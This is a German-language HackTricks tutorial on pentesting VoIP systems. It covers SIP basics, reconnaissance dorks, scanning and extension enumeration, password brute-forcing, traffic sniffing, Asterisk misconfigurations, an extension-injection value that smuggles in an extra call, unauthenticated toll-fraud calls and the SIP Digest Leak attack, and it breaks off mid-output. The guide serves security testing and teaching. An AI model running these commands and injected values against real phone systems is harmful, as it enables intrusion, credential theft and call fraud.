mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-21 02:23:30 +00:00
645 lines
38 KiB
Markdown
645 lines
38 KiB
Markdown
# Pentesting VoIP
|
|
|
|
<details>
|
|
|
|
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Andere Möglichkeiten, HackTricks zu unterstützen:
|
|
|
|
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
|
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
|
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
|
|
|
</details>
|
|
|
|
## VoIP Grundlegende Informationen
|
|
|
|
Um mehr über die Funktionsweise von VoIP zu erfahren, überprüfen Sie:
|
|
|
|
{% content-ref url="basic-voip-protocols/" %}
|
|
[basic-voip-protocols](basic-voip-protocols/)
|
|
{% endcontent-ref %}
|
|
|
|
## Grundlegende Nachrichten
|
|
```
|
|
Request name Description RFC references
|
|
------------------------------------------------------------------------------------------------------
|
|
REGISTER Register a SIP user. RFC 3261
|
|
INVITE Initiate a dialog for establishing a call. RFC 3261
|
|
ACK Confirm that an entity has received. RFC 3261
|
|
BYE Signal termination of a dialog and end a call. RFC 3261
|
|
CANCEL Cancel any pending request. RFC 3261
|
|
UPDATE Modify the state of a session without changing the state of the dialog. RFC 3311
|
|
REFER Ask recipient to issue a request for the purpose of call transfer. RFC 3515
|
|
PRACK Provisional acknowledgement. RFC 3262
|
|
SUBSCRIBE Initiates a subscription for notification of events from a notifier. RFC 6665
|
|
NOTIFY Inform a subscriber of notifications of a new event. RFC 6665
|
|
PUBLISH Publish an event to a notification server. RFC 3903
|
|
MESSAGE Deliver a text message. Used in instant messaging applications. RFC 3428
|
|
INFO Send mid-session information that does not modify the session state. RFC 6086
|
|
OPTIONS Query the capabilities of an endpoint RFC 3261
|
|
```
|
|
## Antwortcodes
|
|
|
|
**1xx—Vorläufige Antworten**
|
|
```
|
|
100 Trying
|
|
180 Ringing
|
|
181 Call is Being Forwarded
|
|
182 Queued
|
|
183 Session Progress
|
|
199 Early Dialog Terminated
|
|
```
|
|
**2xx—Erfolgreiche Antworten**
|
|
```
|
|
200 OK
|
|
202 Accepted
|
|
204 No Notification
|
|
```
|
|
**3xx—Weiterleitungsantworten**
|
|
```
|
|
300 Multiple Choices
|
|
301 Moved Permanently
|
|
302 Moved Temporarily
|
|
305 Use Proxy
|
|
380 Alternative Service
|
|
```
|
|
**4xx—Client-Fehlerantworten**
|
|
```
|
|
400 Bad Request
|
|
401 Unauthorized
|
|
402 Payment Required
|
|
403 Forbidden
|
|
404 Not Found
|
|
405 Method Not Allowed
|
|
406 Not Acceptable
|
|
407 Proxy Authentication Required
|
|
408 Request Timeout
|
|
409 Conflict
|
|
410 Gone
|
|
411 Length Required
|
|
412 Conditional Request Failed
|
|
413 Request Entity Too Large
|
|
414 Request-URI Too Long
|
|
415 Unsupported Media Type
|
|
416 Unsupported URI Scheme
|
|
417 Unknown Resource-Priority
|
|
420 Bad Extension
|
|
421 Extension Required
|
|
422 Session Interval Too Small
|
|
423 Interval Too Brief
|
|
424 Bad Location Information
|
|
425 Bad Alert Message
|
|
428 Use Identity Header
|
|
429 Provide Referrer Identity
|
|
430 Flow Failed
|
|
433 Anonymity Disallowed
|
|
436 Bad Identity-Info
|
|
437 Unsupported Certificate
|
|
438 Invalid Identity Header
|
|
439 First Hop Lacks Outbound Support
|
|
440 Max-Breadth Exceeded
|
|
469 Bad Info Package
|
|
470 Consent Needed
|
|
480 Temporarily Unavailable
|
|
481 Call/Transaction Does Not Exist
|
|
482 Loop Detected
|
|
483 Too Many Hops
|
|
484 Address Incomplete
|
|
485 Ambiguous
|
|
486 Busy Here
|
|
487 Request Terminated
|
|
488 Not Acceptable Here
|
|
489 Bad Event
|
|
491 Request Pending
|
|
493 Undecipherable
|
|
494 Security Agreement Required
|
|
```
|
|
**5xx—Server-Fehlerantworten**
|
|
```
|
|
500 Internal Server Error
|
|
501 Not Implemented
|
|
502 Bad Gateway
|
|
503 Service Unavailable
|
|
504 Server Time-out
|
|
505 Version Not Supported
|
|
513 Message Too Large
|
|
555 Push Notification Service Not Supported
|
|
580 Precondition Failure
|
|
```
|
|
**6xx—Globale Fehlerantworten**
|
|
```
|
|
600 Busy Everywhere
|
|
603 Decline
|
|
604 Does Not Exist Anywhere
|
|
606 Not Acceptable
|
|
607 Unwanted
|
|
608 Rejected
|
|
```
|
|
## VoIP Enumeration
|
|
|
|
### Telefonnummern
|
|
|
|
Einer der ersten Schritte, die ein Red Team unternehmen könnte, ist die Suche nach verfügbaren Telefonnummern, um mit dem Unternehmen über OSINT-Tools, Google-Suchen oder das Scrapen von Webseiten Kontakt aufzunehmen.
|
|
|
|
Sobald Sie die Telefonnummern haben, könnten Sie Online-Dienste verwenden, um den Anbieter zu identifizieren:
|
|
|
|
* [https://www.numberingplans.com/?page=analysis\&sub=phonenr](https://www.numberingplans.com/?page=analysis\&sub=phonenr)
|
|
* [https://mobilenumbertracker.com/](https://mobilenumbertracker.com/)
|
|
* [https://www.whitepages.com/](https://www.whitepages.com/)
|
|
* [https://www.twilio.com/lookup](https://www.twilio.com/lookup)
|
|
|
|
Wenn Sie wissen, ob der Anbieter VoIP-Dienste anbietet, könnten Sie feststellen, ob das Unternehmen VoIP verwendet... Darüber hinaus ist es möglich, dass das Unternehmen keine VoIP-Dienste in Anspruch genommen hat, sondern PSTN-Karten verwendet, um seine eigene VoIP-PBX mit dem herkömmlichen Telefonnetz zu verbinden.
|
|
|
|
Dinge wie automatisierte Antworten oder Musik deuten in der Regel darauf hin, dass VoIP verwendet wird.
|
|
|
|
### Google Dorks
|
|
```bash
|
|
# Grandstream phones
|
|
intitle:"Grandstream Device Configuration" Password
|
|
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org
|
|
|
|
# Cisco Callmanager
|
|
inurl:"ccmuser/logon.asp"
|
|
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"
|
|
|
|
# Cisco phones
|
|
inurl:"NetworkConfiguration" cisco
|
|
|
|
# Linksys phones
|
|
intitle:"Sipura SPA Configuration"
|
|
|
|
# Snom phones
|
|
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm
|
|
|
|
# Polycom SoundPoint IP & phones
|
|
intitle:"SoundPoint IP Configuration Utility - Registration"
|
|
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
|
|
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
|
|
intitle:"Polycom Login" inurl:"/login.html"
|
|
intitle:"Polycom Login" -.com
|
|
|
|
# Elastix
|
|
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"
|
|
|
|
# FreePBX
|
|
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"
|
|
```
|
|
### OSINT Informationen
|
|
|
|
Jede andere OSINT Enumeration, die hilft, die verwendete VoIP-Software zu identifizieren, ist für ein Red Team hilfreich.
|
|
|
|
### Netzwerk Enumeration
|
|
|
|
* **`nmap`** ist in der Lage, UDP-Dienste zu scannen, aber aufgrund der Anzahl der gescannten UDP-Dienste ist es sehr langsam und möglicherweise nicht sehr genau bei dieser Art von Diensten.
|
|
```bash
|
|
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
|
|
```
|
|
* **`svmap`** von SIPVicious (`sudo apt install sipvicious`): Wird SIP-Dienste im angegebenen Netzwerk lokalisieren.
|
|
* `svmap` ist **einfach zu blockieren**, da es den User-Agent `friendly-scanner` verwendet, aber Sie könnten den Code von `/usr/share/sipvicious/sipvicious` ändern.
|
|
```bash
|
|
# Use --fp to fingerprint the services
|
|
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
|
|
```
|
|
* **`SIPPTS Scan`** von [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS Scan ist ein sehr schneller Scanner für SIP-Dienste über UDP, TCP oder TLS. Er verwendet Multithreading und kann große Netzwerkbereiche scannen. Es ermöglicht die einfache Angabe eines Portbereichs, das Scannen von TCP & UDP, die Verwendung einer anderen Methode (standardmäßig wird OPTIONS verwendet) und die Angabe eines anderen User-Agents (und mehr).
|
|
```bash
|
|
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
|
|
|
|
[!] IP/Network: 10.10.0.0/24
|
|
[!] Port range: 5060-5080
|
|
[!] Protocol: UDP, TCP, TLS
|
|
[!] Method to scan: REGISTER
|
|
[!] Customized User-Agent: Cisco
|
|
[!] Used threads: 200
|
|
```
|
|
* **metasploit**:
|
|
```
|
|
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
|
|
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
|
|
```
|
|
#### Zusätzliche Netzwerk-Enumeration
|
|
|
|
Die PBX könnte auch andere Netzwerkdienste freigeben, wie z.B.:
|
|
|
|
- **69/UDP (TFTP)**: Firmware-Updates
|
|
- **80 (HTTP) / 443 (HTTPS)**: Zur Verwaltung des Geräts über das Web
|
|
- **389 (LDAP)**: Alternative zur Speicherung von Benutzerinformationen
|
|
- **3306 (MySQL)**: MySQL-Datenbank
|
|
- **5038 (Manager)**: Ermöglicht die Verwendung von Asterisk von anderen Plattformen aus
|
|
- **5222 (XMPP)**: Nachrichten über Jabber
|
|
- **5432 (PostgreSQL)**: PostgreSQL-Datenbank
|
|
- Und andere...
|
|
|
|
### Methoden-Enumeration
|
|
|
|
Es ist möglich herauszufinden, **welche Methoden verfügbar sind**, um die PBX mit `SIPPTS enumerate` von [**sippts**](https://github.com/Pepelux/sippts) zu verwenden.
|
|
```bash
|
|
sippts enumerate -i 10.10.0.10
|
|
```
|
|
### Analyse der Serverantworten
|
|
|
|
Es ist sehr wichtig, die Header zu analysieren, die ein Server uns zurücksendet, abhängig von der Art der Nachricht und den Headern, die wir senden. Mit `SIPPTS send` von [**sippts**](https://github.com/Pepelux/sippts) können wir personalisierte Nachrichten senden, alle Header manipulieren und die Antwort analysieren.
|
|
```bash
|
|
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
|
|
```
|
|
Es ist auch möglich, Daten abzurufen, wenn der Server Websockets verwendet. Mit `SIPPTS wssend` von [**sippts**](https://github.com/Pepelux/sippts) können wir personalisierte WS-Nachrichten senden.
|
|
```bash
|
|
sippts wssend -i 10.10.0.10 -r 443 -path /ws
|
|
```
|
|
### Erweiterungsenumeration
|
|
|
|
Erweiterungen in einem PBX (Private Branch Exchange)-System beziehen sich auf die **eindeutigen internen Kennungen, die einzelnen** Telefonleitungen, Geräten oder Benutzern innerhalb einer Organisation oder eines Unternehmens zugewiesen sind. Erweiterungen ermöglichen es, **Anrufe innerhalb der Organisation effizient zu routen**, ohne dass für jeden Benutzer oder jedes Gerät individuelle externe Telefonnummern erforderlich sind.
|
|
|
|
* **`svwar`** von SIPVicious (`sudo apt install sipvicious`): `svwar` ist ein kostenloser SIP PBX-Erweiterungsscanner. Im Konzept funktioniert es ähnlich wie herkömmliche Wardialer, indem es **eine Reihe von Erweiterungen oder eine gegebene Liste von Erweiterungen errät**.
|
|
```bash
|
|
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
|
|
```
|
|
* **`SIPPTS exten`** von [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS exten identifiziert Erweiterungen auf einem SIP-Server. Sipexten kann große Netzwerk- und Portbereiche überprüfen.
|
|
```bash
|
|
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
|
|
```
|
|
* **metasploit**: Sie können auch Erweiterungen/Benutzernamen mit Metasploit aufzählen:
|
|
```
|
|
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
|
|
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
|
|
```
|
|
* **`enumiax` (`apt install enumiax`): enumIAX** ist ein Werkzeug zur **Benutzername-Brute-Force-Erkennung** für das Inter-Asterisk Exchange-Protokoll. enumIAX kann in zwei verschiedenen Modi betrieben werden: Sequenzielles Benutzername-Raten oder Wörterbuchangriff.
|
|
```bash
|
|
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
|
|
enumiax -v -m3 -M3 10.10.0.10
|
|
```
|
|
## VoIP-Angriffe
|
|
|
|
### Passwort-Brute-Force - online
|
|
|
|
Nachdem das **PBX** und einige **Erweiterungen/Benutzernamen** entdeckt wurden, könnte ein Red Team versuchen, sich über die Methode `REGISTER` an einer Erweiterung zu authentifizieren, indem es eine Liste häufig verwendeter Passwörter verwendet, um die Authentifizierung zu erzwingen.
|
|
|
|
{% hint style="danger" %}
|
|
Beachten Sie, dass ein **Benutzername** mit der Erweiterung identisch sein kann, aber diese Praxis kann je nach PBX-System, seiner Konfiguration und den Vorlieben der Organisation variieren...
|
|
|
|
Wenn der Benutzername nicht mit der Erweiterung identisch ist, müssen Sie den Benutzernamen herausfinden, um ihn zu erzwingen.
|
|
{% endhint %}
|
|
|
|
* **`svcrack`** von SIPVicious (`sudo apt install sipvicious`): SVCrack ermöglicht es Ihnen, das Passwort für einen bestimmten Benutzernamen/eine bestimmte Erweiterung auf einem PBX zu knacken.
|
|
```bash
|
|
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
|
|
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
|
|
```
|
|
* **`SIPPTS rcrack`** von [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack ist ein Remote-Passwortknacker für SIP-Dienste. Rcrack kann Passwörter für mehrere Benutzer in verschiedenen IPs und Portbereichen testen.
|
|
```bash
|
|
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
|
|
```
|
|
* **Metasploit**:
|
|
* [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb)
|
|
* [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack_tcp.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack_tcp.rb)
|
|
|
|
### VoIP Sniffing
|
|
|
|
Wenn Sie VoIP-Geräte in einem **offenen WLAN-Netzwerk** finden, könnten Sie **alle Informationen mitschneiden**. Darüber hinaus könnten Sie, wenn Sie sich in einem geschlosseneren Netzwerk befinden (über Ethernet verbunden oder geschütztes WLAN), **MitM-Angriffe wie** [**ARP-Spoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) zwischen der **PBX und dem Gateway** durchführen, um die Informationen abzufangen.
|
|
|
|
Unter den Netzwerkinformationen könnten Sie **Web-Anmeldeinformationen** zum Verwalten der Geräte, Benutzer-**Erweiterungen**, **Benutzernamen**, **IP-Adressen**, sogar **gehashte Passwörter** und **RTP-Pakete** finden, die Sie reproduzieren könnten, um das Gespräch zu hören, und mehr.
|
|
|
|
Um diese Informationen zu erhalten, könnten Sie Tools wie Wireshark, tcpdump... verwenden, aber ein **speziell erstelltes Tool zum Mitschneiden von VoIP-Gesprächen ist** [**ucsniff**](https://github.com/Seabreg/ucsniff).
|
|
|
|
{% hint style="danger" %}
|
|
Beachten Sie, dass wenn **TLS in der SIP-Kommunikation verwendet wird**, Sie die SIP-Kommunikation nicht im Klartext sehen können.\
|
|
Das Gleiche gilt, wenn **SRTP** und **ZRTP** verwendet werden, **RTP-Pakete werden nicht im Klartext sein**.
|
|
{% endhint %}
|
|
|
|
#### SIP-Anmeldeinformationen (Passwort-Brute-Force - offline)
|
|
|
|
[Überprüfen Sie dieses Beispiel, um eine **SIP REGISTER-Kommunikation** besser zu verstehen](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example), um zu erfahren, wie **Anmeldeinformationen gesendet werden**.
|
|
|
|
* **`sipdump`** & **`sipcrack`,** Teil von **sipcrack** (`apt-get install sipcrack`): Diese Tools können aus einem **pcap** die **Digest-Authentifizierungen** im SIP-Protokoll **extrahieren** und **bruteforcen**.
|
|
```bash
|
|
sipdump -p net-capture.pcap sip-creds.txt
|
|
sipcrack sip-creds.txt -w dict.txt
|
|
```
|
|
* **`SIPPTS dump`** von [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dump kann Digest-Authentifizierungen aus einer pcap-Datei extrahieren.
|
|
```bash
|
|
sippts dump -f capture.pcap -o data.txt
|
|
```
|
|
* **`SIPPTS dcrack`** von [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dcrack ist ein Tool zum Knacken der Digest-Authentifizierungen, die mit dem SIPPTS-Dump erhalten wurden.
|
|
```bash
|
|
sippts dcrack -f data.txt -w wordlist/rockyou.txt
|
|
```
|
|
* **`SIPPTS tshark`** von [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS tshark extrahiert Daten des SIP-Protokolls aus einer PCAP-Datei.
|
|
```bash
|
|
sippts tshark -f capture.pcap [-filter auth]
|
|
```
|
|
#### DTMF-Codes
|
|
|
|
Nicht nur SIP-Anmeldeinformationen können im Netzwerkverkehr gefunden werden, es ist auch möglich, DTMF-Codes zu finden, die beispielsweise zum Zugriff auf die Voicemail verwendet werden.\
|
|
Es ist möglich, diese Codes in INFO-SIP-Nachrichten, in Audio oder innerhalb von RTP-Paketen zu senden. Wenn die Codes in RTP-Paketen enthalten sind, könnten Sie diesen Teil des Gesprächs herausschneiden und das Tool multimo verwenden, um sie zu extrahieren:
|
|
```bash
|
|
multimon -a DTMF -t wac pin.wav
|
|
```
|
|
### Kostenlose Anrufe / Fehlkonfigurationen von Asterisk-Verbindungen
|
|
|
|
In Asterisk ist es möglich, eine Verbindung **von einer bestimmten IP-Adresse** oder von **jeder IP-Adresse** zuzulassen:
|
|
```
|
|
host=10.10.10.10
|
|
host=dynamic
|
|
```
|
|
Wenn eine IP-Adresse angegeben ist, muss der Host **nicht regelmäßig REGISTER-Anfragen senden** (im REGISTER-Paket wird die "Time to Live" gesendet, normalerweise 30 Minuten, was bedeutet, dass das Telefon in anderen Szenarien alle 30 Minuten REGISTER senden muss). Es müssen jedoch offene Ports vorhanden sein, die Verbindungen vom VoIP-Server zulassen, um Anrufe entgegenzunehmen.
|
|
|
|
Um Benutzer zu definieren, können sie wie folgt definiert werden:
|
|
|
|
* **`type=user`**: Der Benutzer kann nur Anrufe als Benutzer empfangen.
|
|
* **`type=friend`**: Es ist möglich, Anrufe als Peer durchzuführen und sie als Benutzer zu empfangen (verwendet mit Erweiterungen).
|
|
* **`type=peer`**: Es ist möglich, Anrufe als Peer zu senden und zu empfangen (SIP-Trunks).
|
|
|
|
Es ist auch möglich, Vertrauen mit der unsicheren Variable herzustellen:
|
|
|
|
* **`insecure=port`**: Ermöglicht Peer-Verbindungen, die durch IP validiert sind.
|
|
* **`insecure=invite`**: Erfordert keine Authentifizierung für INVITE-Nachrichten.
|
|
* **`insecure=port,invite`**: Beides.
|
|
|
|
{% hint style="warning" %}
|
|
Wenn **`type=friend`** verwendet wird, wird der **Wert** der **host**-Variablen **nicht verwendet**, daher, wenn ein Administrator einen SIP-Trunk mit diesem Wert **falsch konfiguriert**, wird **jeder in der Lage sein, eine Verbindung herzustellen**.
|
|
|
|
Beispielsweise wäre diese Konfiguration anfällig:\
|
|
`host=10.10.10.10`\
|
|
`insecure=port,invite`\
|
|
`type=friend`
|
|
{% endhint %}
|
|
|
|
### Kostenlose Anrufe / Asterisk-Kontextfehler
|
|
|
|
In Asterisk ist ein **Kontext** ein benannter Container oder Abschnitt im Wahlplan, der **zusammengehörige Erweiterungen, Aktionen und Regeln gruppiert**. Der Wahlplan ist die Kernkomponente eines Asterisk-Systems, da er definiert, **wie eingehende und ausgehende Anrufe behandelt und geroutet werden**. Kontexte werden verwendet, um den Wahlplan zu organisieren, den Zugriff zu verwalten und eine Trennung zwischen verschiedenen Teilen des Systems bereitzustellen.
|
|
|
|
Jeder Kontext ist in der Konfigurationsdatei definiert, normalerweise in der **`extensions.conf`**-Datei. Kontexte werden durch eckige Klammern gekennzeichnet, wobei der Kontextname innerhalb von ihnen eingeschlossen ist. Zum Beispiel:
|
|
```bash
|
|
csharpCopy code[my_context]
|
|
```
|
|
Innerhalb des Kontexts definieren Sie Erweiterungen (Muster von gewählten Nummern) und ordnen sie einer Reihe von Aktionen oder Anwendungen zu. Diese Aktionen bestimmen, wie der Anruf verarbeitet wird. Zum Beispiel:
|
|
```scss
|
|
[my_context]
|
|
exten => 100,1,Answer()
|
|
exten => 100,n,Playback(welcome)
|
|
exten => 100,n,Hangup()
|
|
```
|
|
Dieses Beispiel zeigt einen einfachen Kontext namens "my\_context" mit einer Erweiterung "100". Wenn jemand die 100 wählt, wird der Anruf entgegengenommen, eine Begrüßungsnachricht wird abgespielt und dann wird der Anruf beendet.
|
|
|
|
Dies ist **ein weiterer Kontext**, der es ermöglicht, **eine beliebige andere Nummer anzurufen**:
|
|
```scss
|
|
[external]
|
|
exten => _X.,1,Dial(SIP/trunk/${EXTEN})
|
|
```
|
|
Wenn der Administrator den **Standardkontext** wie folgt definiert:
|
|
```
|
|
[default]
|
|
include => my_context
|
|
include => external
|
|
```
|
|
{% hint style="warning" %}
|
|
Jeder wird in der Lage sein, den **Server anzurufen, um eine beliebige Nummer anzurufen** (und der Administrator des Servers wird für den Anruf bezahlen).
|
|
{% endhint %}
|
|
|
|
{% hint style="danger" %}
|
|
Darüber hinaus enthält die Datei **`sip.conf`** standardmäßig **`allowguest=true`**, dann wird **jeder** Angreifer ohne Authentifizierung in der Lage sein, eine beliebige Nummer anzurufen.
|
|
{% endhint %}
|
|
|
|
* **`SIPPTS einladen`** von [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS invite überprüft, ob ein **PBX-Server es uns erlaubt, Anrufe ohne Authentifizierung zu tätigen**. Wenn der SIP-Server falsch konfiguriert ist, wird er uns erlauben, Anrufe an externe Nummern zu tätigen. Es kann uns auch erlauben, den Anruf an eine zweite externe Nummer zu übertragen.
|
|
|
|
Zum Beispiel, wenn Ihr Asterisk-Server eine schlechte Kontextkonfiguration hat, können Sie INVITE-Anfragen ohne Autorisierung akzeptieren. In diesem Fall kann ein Angreifer Anrufe tätigen, ohne Benutzername/Passwort zu kennen.
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
# Trying to make a call to the number 555555555 (without auth) with source number 200.
|
|
sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v
|
|
|
|
# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
|
|
sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
|
|
```
|
|
{% endcode %}
|
|
|
|
### Kostenlose Anrufe / Fehlkonfigurierte IVRS
|
|
|
|
IVRS steht für **Interactive Voice Response System**, eine Telefontechnologie, die es Benutzern ermöglicht, mit einem computergestützten System über Sprach- oder DTMF-Eingaben zu interagieren. IVRS wird verwendet, um **automatisierte Anrufbearbeitungs**-Systeme aufzubauen, die eine Vielzahl von Funktionen bieten, wie z. B. Informationen bereitstellen, Anrufe weiterleiten und Benutzereingaben erfassen.
|
|
|
|
IVRS in VoIP-Systemen besteht typischerweise aus:
|
|
|
|
1. **Sprachansagen**: Vorab aufgezeichnete Audio-Nachrichten, die Benutzer durch die IVR-Menüoptionen und Anweisungen führen.
|
|
2. **DTMF** (Dual-Tone Multi-Frequency)-Signalisierung: Berührungston-Eingaben, die durch Drücken von Tasten auf dem Telefon erzeugt werden und zur Navigation durch die IVR-Menüs und zur Eingabe verwendet werden.
|
|
3. **Anrufweiterleitung**: Weiterleitung von Anrufen an das entsprechende Ziel, wie bestimmte Abteilungen, Agenten oder Erweiterungen basierend auf Benutzereingaben.
|
|
4. **Erfassung von Benutzereingaben**: Sammeln von Informationen von Anrufern, wie Kontonummern, Fall-IDs oder anderen relevanten Daten.
|
|
5. **Integration mit externen Systemen**: Verbindung des IVR-Systems mit Datenbanken oder anderen Software-Systemen, um auf Informationen zuzugreifen oder diese zu aktualisieren, Aktionen durchzuführen oder Ereignisse auszulösen.
|
|
|
|
In einem Asterisk VoIP-System können Sie eine IVR mithilfe des Wählplans (**`extensions.conf`**-Datei) und verschiedener Anwendungen wie `Background()`, `Playback()`, `Read()` und mehr erstellen. Diese Anwendungen helfen Ihnen dabei, Sprachansagen abzuspielen, Benutzereingaben zu erfassen und den Anrufverlauf zu steuern.
|
|
|
|
#### Beispiel einer anfälligen Konfiguration
|
|
```scss
|
|
exten => 0,100,Read(numbers,the_call,,,,5)
|
|
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
|
|
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
|
|
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
|
|
exten => 0,104,Dial(LOCAL/${numbers})
|
|
```
|
|
Die vorherige ist ein Beispiel, bei dem der Benutzer aufgefordert wird, **die 1 zu drücken, um** eine Abteilung anzurufen, **die 2, um** eine andere anzurufen, oder **die vollständige Durchwahl**, wenn er sie kennt.\
|
|
Die Schwachstelle besteht darin, dass die angegebene **Durchwahl-Länge nicht überprüft wird, sodass ein Benutzer die 5-Sekunden-Timeout-Zeit eingeben könnte und eine vollständige Nummer angerufen wird.**
|
|
|
|
### Durchwahl-Injection
|
|
|
|
Verwendung einer Durchwahl wie:
|
|
```scss
|
|
exten => _X.,1,Dial(SIP/${EXTEN})
|
|
```
|
|
Wo **`${EXTEN}`** die **Erweiterung** ist, die angerufen wird, wenn die **ext 101 eingegeben wird**, würde Folgendes passieren:
|
|
```scss
|
|
exten => 101,1,Dial(SIP/101)
|
|
```
|
|
Jedoch, wenn **`${EXTEN}`** es erlaubt, **mehr als Zahlen** einzugeben (wie in älteren Asterisk-Versionen), könnte ein Angreifer **`101&SIP123123123`** eingeben, um die Telefonnummer 123123123 anzurufen. Und das wäre das Ergebnis:
|
|
```scss
|
|
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
|
|
```
|
|
Daher wird ein Anruf an die Erweiterung **`101`** und **`123123123`** gesendet und nur der erste Anruf wird hergestellt... aber wenn ein Angreifer eine **Erweiterung verwendet, die jegliche Übereinstimmung umgeht**, die durchgeführt wird, aber nicht existiert, könnte er **einen Anruf nur an die gewünschte Nummer einschleusen**.
|
|
|
|
## SIPDigestLeak-Schwachstelle
|
|
|
|
Die SIP Digest Leak ist eine Schwachstelle, die eine große Anzahl von SIP-Telefonen betrifft, einschließlich Hardware- und Software-IP-Telefonen sowie Telefonadaptern (VoIP zu Analog). Die Schwachstelle ermöglicht das **Lecken der Digest-Authentifizierungsantwort**, die aus dem Passwort berechnet wird. Ein **Offline-Passwortangriff ist dann möglich** und kann die meisten Passwörter basierend auf der Challenge-Response wiederherstellen.
|
|
|
|
**[Schwachstellen-Szenario ab hier**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
|
|
|
|
1. Ein IP-Telefon (Opfer) hört auf einem beliebigen Port (zum Beispiel: 5060) und akzeptiert Telefonanrufe
|
|
2. Der Angreifer sendet ein INVITE an das IP-Telefon
|
|
3. Das Opfer-Telefon klingelt und jemand nimmt ab und legt auf (weil niemand am anderen Ende antwortet)
|
|
4. Wenn das Telefon aufgelegt wird, sendet das **Opfer-Telefon ein BYE an den Angreifer**
|
|
5. Der **Angreifer sendet eine 407-Antwort**, die **nach Authentifizierung fragt** und eine Authentifizierungsaufforderung ausgibt
|
|
6. Das **Opfer-Telefon sendet eine Antwort auf die Authentifizierungsaufforderung** in einem zweiten BYE
|
|
7. Der **Angreifer kann dann einen Brute-Force-Angriff** auf die Challenge-Response auf seiner lokalen Maschine (oder im verteilten Netzwerk usw.) starten und das Passwort erraten
|
|
|
|
* **SIPPTS-Leak** von [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS-Leak nutzt die SIP Digest Leak-Schwachstelle aus, die eine große Anzahl von SIP-Telefonen betrifft. Die Ausgabe kann im SipCrack-Format gespeichert werden, um sie mit SIPPTS dcrack oder dem SipCrack-Tool zu bruteforcen.
|
|
```bash
|
|
sippts leak -i 10.10.0.10
|
|
|
|
[!] Target: 10.10.0.10:5060/UDP
|
|
[!] Caller: 100
|
|
[!] Callee: 100
|
|
|
|
[=>] Request INVITE
|
|
[<=] Response 100 Trying
|
|
[<=] Response 180 Ringing
|
|
[<=] Response 200 OK
|
|
[=>] Request ACK
|
|
... waiting for BYE ...
|
|
[<=] Received BYE
|
|
[=>] Request 407 Proxy Authentication Required
|
|
[<=] Received BYE with digest
|
|
[=>] Request 200 Ok
|
|
|
|
